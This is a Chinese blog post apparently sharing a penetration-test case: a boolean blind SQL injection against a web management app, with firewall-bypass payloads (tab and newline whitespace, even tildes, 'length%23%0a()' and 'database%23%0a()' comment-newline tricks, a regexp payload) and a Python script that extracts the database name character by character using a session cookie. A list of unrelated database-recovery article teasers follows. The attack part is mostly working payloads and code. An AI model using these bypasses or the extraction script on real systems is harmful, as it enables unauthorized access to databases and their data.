分享一个SQL的bypass小案例

简介: 分享一个SQL的bypass小案例

图片有点不适,WORD版本链接:

https://pan.baidu.com/s/12ufv02IkMZTVnkM1UEQlog 提取码: v9rp

一、测试发现一个布尔型注入点,测试过程如下:

1、原始请求

0a2653c851af460fa595bd959398a8f1.png

2、输入’or’1’like’1

0eacb84100b54626af849e6b562bf92a.png

3、输入’or’1’like’2

2d65d23f6d4748949b924e4057485923.png

4、初步判断存在布尔型sql盲注,然后开始判断库名长度:

2e9b90b2ca334476abebe75bafe6eeaa.png

5、首先想到可能处理了空格,手工简单测试下:

4cebaac233b3433da32a72337a77fc60.png6de278e6d6694ce5bb08e7e842b7e74b.png7a399525ddec4b77923c464820b33738 (1).png7a399525ddec4b77923c464820b33738.png

6、发现:

空格or(不拦截)

or空格(拦截)

or/**/(拦截)

or%09 %0a %0b %0c %0d(不拦截)

二、简单fuzz下字符:

0a2653c851af460fa595bd959398a8f1.png

1、or (偶数个~) 也可以bypass

0eacb84100b54626af849e6b562bf92a.png2d65d23f6d4748949b924e4057485923.png


2、奇数个~执行失败:

0a2653c851af460fa595bd959398a8f1.png

3、进一步获取库名长度:

0eacb84100b54626af849e6b562bf92a.png

4、还是被拦截,猜测是处理了length()或database()函数,简单尝试下:

2d65d23f6d4748949b924e4057485923.png

5、length()被处理掉了,fuzz一下:

2e9b90b2ca334476abebe75bafe6eeaa.png

6、利用注释换行符组合如length%23%0a()即可绕过:

4cebaac233b3433da32a72337a77fc60.png

7、这里还是报错,简单测试了下,把空格键换一下即可解决:

6de278e6d6694ce5bb08e7e842b7e74b.png

8、继续判断库名长度:

7a399525ddec4b77923c464820b33738 (1).png

9、database()也被处理掉了,同样的方法可绕过:

7a399525ddec4b77923c464820b33738.png

10、最终得出数据库长度为7,如下图:

0a2653c851af460fa595bd959398a8f1.png

11、获取库名

0eacb84100b54626af849e6b562bf92a.png

12、substr未拦截,借助intruder跑一下:

2d65d23f6d4748949b924e4057485923.png

注出第一个字符为l

三、写个脚本拖一下完整库名:

import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_-'
database = ''
for l in range(1,8):
  for payload in payloads:
  burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0&registerDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload)
  burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"}
  burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"}
  resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
  if "2018-10-22" in resp.content:
    database += payload
    print '[*]success\t' + database
  else:
    print '[*]dumping......'
print '[*]current database is:\t' + database

0a2653c851af460fa595bd959398a8f1.png

借助regexp正则匹配也可以实现,payload:

'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1

0eacb84100b54626af849e6b562bf92a.png2d65d23f6d4748949b924e4057485923.png

成功注出第一个字符:l,以此类推。

禁止非法,后果自负

目录
相关文章
|
SQL 数据库 数据安全/隐私保护
数据库数据恢复——sql server数据库被加密的数据恢复案例
SQL server数据库数据故障: SQL server数据库被加密,无法使用。 数据库MDF、LDF、log日志文件名字被篡改。 数据库备份被加密,文件名字被篡改。
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
378 13
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
关系型数据库 MySQL 大数据
大数据新视界--大数据大厂之MySQL 数据库课程设计:MySQL 数据库 SQL 语句调优的进阶策略与实际案例(2-2)
本文延续前篇,深入探讨 MySQL 数据库 SQL 语句调优进阶策略。包括优化索引使用,介绍多种索引类型及避免索引失效等;调整数据库参数,如缓冲池、连接数和日志参数;还有分区表、垂直拆分等其他优化方法。通过实际案例分析展示调优效果。回顾与数据库课程设计相关文章,强调全面认识 MySQL 数据库重要性。为读者提供综合调优指导,确保数据库高效运行。
|
SQL 监控 关系型数据库
实际应用中监控和诊断SQL语句执行情况的具体案例
实际应用中监控和诊断SQL语句执行情况的具体案例
292 3
|
SQL 数据库
数据库数据恢复—SQL Server报错“错误 823”的数据恢复案例
SQL Server数据库附加数据库过程中比较常见的报错是“错误 823”,附加数据库失败。 如果数据库有备份则只需还原备份即可。但是如果没有备份,备份时间太久,或者其他原因导致备份不可用,那么就需要通过专业手段对数据库进行数据恢复。
|
SQL 数据库
gbase 8a 数据库 SQL优化案例-关联顺序优化
gbase 8a 数据库 SQL优化案例-关联顺序优化
|
SQL 数据库 UED
SQL性能提升秘籍:5步优化法与10个实战案例
在数据库管理和应用开发中,SQL查询的性能优化至关重要。高效的SQL查询不仅可以提高应用的响应速度,还能降低服务器负载,提升用户体验。本文将分享SQL优化的五大步骤和十个实战案例,帮助构建高效、稳定的数据库应用。
1516 3
|
SQL 缓存 监控
SQL性能提升指南:五大优化策略与十个实战案例
在数据库性能优化的世界里,SQL优化是提升查询效率的关键。一个高效的SQL查询可以显著减少数据库的负载,提高应用响应速度,甚至影响整个系统的稳定性和扩展性。本文将介绍SQL优化的五大步骤,并结合十个实战案例,为你提供一份详尽的性能提升指南。
1664 0
|
SQL 存储 小程序
数据库数据恢复—Sql Server数据库文件丢失的数据恢复案例
数据库数据恢复环境: 5块硬盘组建一组RAID5阵列,划分LUN供windows系统服务器使用。windows系统服务器内运行了Sql Server数据库,存储空间在操作系统层面划分了三个逻辑分区。 数据库故障: 数据库文件丢失,主要涉及3个数据库,数千张表。数据库文件丢失原因未知,不能确定丢失的数据库文件的存放位置。数据库文件丢失后,服务器仍处于开机状态,所幸未写入大量数据。
数据库数据恢复—Sql Server数据库文件丢失的数据恢复案例
|
SQL 大数据 API
大数据-132 - Flink SQL 基本介绍 与 HelloWorld案例
大数据-132 - Flink SQL 基本介绍 与 HelloWorld案例
352 0